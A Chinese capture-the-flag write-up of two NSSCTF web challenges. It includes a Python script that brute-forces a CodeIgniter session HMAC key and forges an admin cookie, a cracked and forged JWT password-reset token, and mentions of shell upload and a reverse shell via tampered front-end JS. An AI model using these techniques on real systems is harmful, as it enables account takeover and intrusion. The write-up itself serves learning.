【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈

news2024/11/25 18:46:32

目录

前言

baby-Codeigniter

组合拳!


前言

本想着说看看go的gin框架就睡了的,r3师傅提醒说赛题环境已经上了,那不赶紧研究下😀

主要来谈谈做题的心路历程

baby-Codeigniter

拿到题目的第一反应应该是:“什么是Codeigniter”,接着自然会去面向搜索引擎解题

在那之前,我们可以做到一些有限的事

弱口令admin 123456登录成功

但权限不够,需要super administor,自然的,我们会去看cookie

url解码后,是一段有意义的键值对+hash值

尝试将0改为1(false->true),并urlencode还原

然未果,显然结尾的hash部分是鉴权的关键,具体的密钥、算法?这些我们都不知道,需要借助搜索引擎。但大方向我们基本可以确定是session伪造了

很容易搜出P牛文章:

客户端 session 导致的安全问题 | 离别歌 

接着就顺藤摸瓜找到爆破secretkey的

https://github.com/Dionach/CodeIgniterXor

 但并不能爆出来🤔然后当时就卡死了啊哈哈(

后来询问出题人说用的那套源码不是xor加密,而是hash_hmac加密,前者是更低版本的加密方式

歪日,可是也没给我源码啊QWQ(

不妨在此处下个断言:“在拿到源码的条件下,只要验证信息存储在了客户端,而非服务端,都有伪造的可能。”

审计源码,找到set_cookie的逻辑

function _set_cookie($cookie_data = NULL)  
	{  
		if (is_null($cookie_data))  
		{  
			$cookie_data = $this->userdata;  
		}  
  
		// Serialize the userdata for the cookie  
		$cookie_data = $this->_serialize($cookie_data);  
  
		if ($this->sess_encrypt_cookie == TRUE)  
		{  
			$cookie_data = $this->CI->encrypt->encode($cookie_data);  
		}  
  
		$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);  
  
		$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();  
  
		// Set the cookie  
		setcookie(  
			$this->sess_cookie_name,  
			$cookie_data,  
			$expire,  
			$this->cookie_path,  
			$this->cookie_domain,  
			$this->cookie_secure  
		);
  1. 函数名为 _set_cookie,它接受一个可选参数 $cookie_data,用于指定要存储在 cookie 中的会话数据。
  2. 如果没有提供 $cookie_data 参数,函数将使用类属性 $this->userdata 中的数据。
  3. 接下来,会话数据被序列化,以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据,所以需要序列化对象或数组等非字符串数据。
  4. 如果配置中设置了 sess_encrypt_cookie 为 TRUE,则会话数据会被加密。这通常用于提高安全性,以防止会话数据被篡改。
  5. 接着,会话数据被附加上一个 HMAC(Hash-based Message Authentication Code),以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。
  6. 过期时间 expire 被设置为 $this->sess_expire_on_close 为 TRUE 时为 0,否则为当前时间加上会话过期时间。
  7. 最后,使用 setcookie 函数来设置 cookie,包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。

显然靶机这里sess_encrypt_cookie为false,那就好办了,我们可以用爆破的方式来反向推出密钥

根据上述逻辑交给gpt去写爆破脚本

import hmac
import urllib.parse
import hashlib
import time

def EncryCookie(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return urllib.parse.quote_plus(cookie+hmacstr)


def CrackSecret(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    hmac_check = cookie[cookielen:]
    cookie = cookie[:cookielen]
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return hmac_check == hmacstr

if __name__ == "__main__":
    cookie = "a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040"
    secrets = []
    with open("secret.txt") as f:
        secrets = f.readlines()
    starttime=time.time()
    for secret in secrets:
        secret=secret.strip("\n")
        result  = CrackSecret(cookie,secret)
        if result == True:
            print("[+]Success:"+secret)
            encrycookie=EncryCookie(cookie,secret)
            print(encrycookie)
            exit(0)
        else:
            print("[-]Test:"+secret)

成功爆破出密钥为123456,并拿到伪造的session

带着修改的cookie,上传shell

 

 连蚁剑,拿flag

 

组合拳!

进来弱口令没爆出admin,然后注册个账号尝试登录,显示权限过低,这不一眼垂直越权😂

还没登录进去,自然也就没有cookie,不能直接伪造

那咋整呢,可以去研究下“忘记密码”功能

拿到一段重置密码的url

http://node6.anna.nssctf.cn:28537/#/reset_token?email=2113566520@qq.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA

分为两部分,第一部分是email地址,第二部分是一段jwt的token

关于管理员email地址,可以扫一下目录:

访问/.well-known/security.txt 得知管理员邮箱为Administrator@163.com

访问/README.md,不知道有啥用

搞定了email的问题,我们下面重点关注token

直接拖到jwt.io里去解密,很明显要把name和email分别改成admin和Administrator@163.com

 jwt的密钥用jwtcrack来爆破就行,得到是APjT

 再伪造下jwt

访问url

http://node6.anna.nssctf.cn:28537/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI

 重置好了密码为123456

 

 

输入admin 123456成功登录

更多功能->资源下载

对任务内容base64解码后为print("hello world"),是一段py代码

我们只要给恶意命令base64编码然后更新任务即可,但抽象的是,更新的间隙足足有864000秒,即24小时,而且貌似前端还改不来🤔

提交也抓不来包,只能审js了(这里真的很不擅长,只能跟着官方wp走了

其给出的合理说法是每当更新任务时,都会调用getKey

其响应体为

关键词搜索keycode

这里的逻辑是判断keycode是否为字符串,是就跳转到 case 11 分支

在return处下断点

 可以看到最后的返回值就是n和o的异或的结果,这个我们不必在意,只要知道与二者都相关就可

将反弹shell命令base64编码 

在此处下断点

 控制台改n的值,令time为1

继续跟几步,可以看到成功修改了time 

成功执行命令,反弹shell,下略

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1557528.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C之易错注意点转义字符,sizeof,scanf,printf

目录 前言 一:转义字符 1.转义字符顾名思义就是转换原来意思的字符 2.常见的转义字符 1.特殊\b 2. 特殊\ddd和\xdd 3.转义字符常错点----计算字符串长度 注意 : 如果出现\890,\921这些的不是属于\ddd类型的,,不是一个字符…

SOA-面向服务架构

SOA-面向服务架构 1.概述2.SOA的设计原则包括:3. SOA实现方法1.Web Service2. 服务注册表3. 企业服务总线 细讲 超赞笔记 1.概述 SOA (Service-Oriented Architecture,SOA),从应用和原理的角度,目前有2种…

书生·浦语大模型-第一节课笔记

视频总结 23年发布的模型在一些材料中归位指令微调模型,后面逐渐升级应该已经是train的模型了 技术报告总结 InternLM2 Technical Report 评测与特点 6 dimensions and 30 benchmarks, long-context modeling, and open-ended subjective evaluations长文本…

【软件工程】概要设计

1. 导言 1.1 目的 该文档的目的是描述学生成绩管理系统的概要设计,其主要内容包括: 系统功能简介 系统结构简介 系统接口设计 数据设计 模块设计 界面设计 本文的预期读者是: 项目开发人员 项目管理人员 项目评测人员(…

C++:数据类型—字符串(11)

字符串就是包含多个字符组成的一个串 比如字符a,b,单个字符就是字符 那么"hello world" 就是一串字符组成的一个字符串 注意字符要在双引号里引用上,而字符一般都是单引号引用 在c中有两种定义字符串的方法,一个是原始c语言的定义方…

swift中的autoreleasepool(自动释放池)有用么?

想到一个问题 swift中的autoreleasepool(自动释放池)有用么? 我们进行验证一下 首先我们写一个加载图片的方法,保证会真正用到真实的IMP内存func loadBigData(string: String?) {if let path Bundle.main.path(forResource: "big", ofType: "png") {for…

二十四种设计模式与六大设计原则(二):【门面模式、适配器模式、模板方法模式、建造者模式、桥梁模式、命令模式】的定义、举例说明、核心思想、适用场景和优缺点

接上次博客:二十四种设计模式与六大设计原则(一):【策略模式、代理模式、单例模式、多例模式、工厂方法模式、抽象工厂模式】的定义、举例说明、核心思想、适用场景和优缺点-CSDN博客 目录 门面模式【Facade Pattern】 定义 举…

vitess执行计划缓存 测试

打开执行计划器缓存: sysbench /usr/local/share/sysbench/oltp_write_only.lua --mysql-host127.0.0.1 --mysql-port15306 --mysql-userroot --mysql-password --mysql-dbcustomer --report-interval10 100s sysbench /usr/local/share/sysbench/oltp_read_only.l…

9.动态规划——1.从递归到动态规划

例题——N阶楼梯上楼问题 分析 大事化小:爬N层有F(N)种可能,有 F ( N ) F ( N − 1 ) F ( N − 2 ) F(N)F(N-1)F(N-2) F(N)F(N−1)F(N−2)小事化了: F ( 1 ) 1 , F ( 2 ) 2 F(1)1,F(2)2 F(1)1,F(2)2 …

小白从0学习ctf(web安全)

文章目录 前言一、baby lfi(bugku-CTF)1、简介2、解题思路1、解题前置知识点2、漏洞利用 二、baby lfi 2(bugku-CTF)1.解题思路1、漏洞利用 三、lfi(bugku CTF)1、解题思路1、漏洞利用 总结 前言 此文章是…

【Redis】Redis 生产问题。如何确保缓存和数据库数据的一致性? 常见的缓存更新策略?

目录 缓存穿透 缓存穿透解决办法 缓存击穿 击穿解决办法? 缓存穿透和缓存击穿的区别? 缓存雪崩 雪崩解决办法? 如何确保缓存和数据库数据的一致性? 常见的缓存更新策略? 缓存穿透 定义:缓存穿透说…

npm mongoose包下载冲突解决之道

我在新电脑下载完项目代码后,运行 npm install --registryhttps://registry.npm.taobao.org 1运行就报错: npm ERR! code ERESOLVE npm ERR! ERESOLVE unable to resolve dependency tree npm ERR! npm ERR! While resolving: lowcode-form-backend1.0.0 npm …

rabbitMQ的基础操作与可视化界面

当你安装好RabbitMq时,可以 尝试一下,这些命令 启动rabbitMQ服务 #启动服务 systemctl start rabbitmq-server #查看服务状态 systemctl status rabbitmq-server #停止服务 systemctl stop rabbitmq-server #开机启动服务 systemctl enable rabbitmq-…

代码随想录——移动零(Leetcode283)

题目链接 使用快慢指针思想 class Solution {public void moveZeroes(int[] nums) {int slow 0;for(int fast 0; fast < nums.length; fast){if(nums[fast] ! 0){nums[slow] nums[fast];}}while(slow < nums.length){nums[slow] 0;}} }

Linux-3 yum和vim

目录 本节目标&#xff1a; Linux 软件包管理器 yum 什么是软件包 1.yum是什么&#xff1f;软件包&#xff1f; 2.Linux(centos)的生态 3.yum的相关操作 我怎么知道我应该安装什么软件&#xff1f; 4.yum的本地配置 关于 rzsz 查看软件包 Linux编辑器-vim使用 1.v…

Git合并利器:Vimdiff使用指南

使用 vimdiff 作为 Git 的合并工具确实可能会让新手感到困惑&#xff0c;但它是一个功能强大的工具&#xff0c;一旦掌握了它&#xff0c;就可以非常高效地进行代码合并和比较。以下是一个简短的教程&#xff0c;旨在帮助理解 vimdiff 的基本用法以及如何利用它来进行 Git 合并…

Adaboost集成学习 | Matlab实现基于BiLSTM-Adaboost双向长短期记忆神经网络结合Adaboost集成学习时间序列预测(股票价格预测)

目录 效果一览基本介绍模型设计程序设计参考资料效果一览 基本介绍 Matlab实现基于BiLSTM-Adaboost双向长短期记忆神经网络结合Adaboost集成学习时间序列预测(股票价格预测) 模型设计 股票价格预测是一个具有挑战性的时间序列预测问题,可以使用深度学习模型如双向长短期记忆…

嵌入式硬件中常见的面试问题与实现

1 01 请列举您知道的电阻、电容、电感品牌(最好包括国内、国外品牌) ▶电阻 美国:AVX、VISHAY威世 日本:KOA兴亚、Kyocera京瓷、muRata村田、Panasonic松下、ROHM罗姆、susumu、TDK 台湾:LIZ丽智、PHYCOM飞元、RALEC旺诠、ROYALOHM厚生、SUPEROHM美隆、TA-I大毅、TMT…

HarmonyOS 应用开发之FA模型与Stage模型应用组件

应用配置文件概述&#xff08;FA模型&#xff09; 每个应用项目必须在项目的代码目录下加入配置文件&#xff0c;这些配置文件会向编译工具、操作系统和应用市场提供描述应用的基本信息。 应用配置文件需申明以下内容&#xff1a; 应用的软件Bundle名称&#xff0c;应用的开发…

OpenHarmony实战:烧录Hi3516DV300开发板

前言 烧录开发板是每个开发者的必修课&#xff0c;每次对系统的修改务必进行烧录测试&#xff0c;确保修改正确和不会引入新问题。 本文基于 Windows10&#xff0c;以 Hi3516DV300 开发板为例&#xff0c;指导如何烧录 OpenHarmony 镜像&#xff0c;镜像也叫固件。 这块开发…